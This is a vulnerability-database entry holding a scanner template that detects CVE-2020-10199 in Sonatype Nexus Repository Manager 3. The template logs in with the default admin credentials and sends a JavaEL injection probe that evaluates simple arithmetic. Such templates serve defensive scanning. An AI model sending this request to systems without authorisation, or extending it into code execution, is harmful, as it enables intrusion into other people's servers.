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Sonatype Nexus Repository Manager 3 - Remote Code Execution

🗓️ 26 Jun 2026 18:13:08Reported by ProjectDiscoveryType 
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Sonatype Nexus Repository Manager 3 - Remote Code Execution, allows JavaEL Injection, high severity, CVE-2020-10199. Upgrade to non-vulnerable version or apply security patche

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id: CVE-2020-10199

info:
  name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
  reference:
    - https://twitter.com/iamnoooob/status/1246182773427240967
    - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10199
    - http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
    - https://cwe.mitre.org/data/definitions/917.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10199
    cwe-id: CWE-917
    epss-score: 0.99064
    epss-percentile: 0.99926
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sonatype
    product: nexus
    fofa-query: title="nexus repository manager"
  tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev,vkev,vuln
variables:
  username: admin
  password: admin123

http:
  - raw:
      - |
        POST /service/rapture/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{base64(username)}}&password={{base64(password)}}
      - |
        POST /service/rest/beta/repositories/bower/group HTTP/1.1
        Host: {{Hostname}}
        NX-ANTI-CSRF-TOKEN: 1
        Cookie: NX-ANTI-CSRF-TOKEN=1
        Content-Type: application/json

        {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Member repository does not exist: A9999"

      - type: status
        status:
          - 400
# digest: 4b0a00483046022100d3385ab813ab1b15fab684e285d7d93474a8d8b0384192d17059c937588f96c90221008eb71211880dc8bc0904f73b9698708635d90a24282b6deb5484c76d5d48b46c:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.18.8
CVSS 29
EPSS0.99064
SSVC
105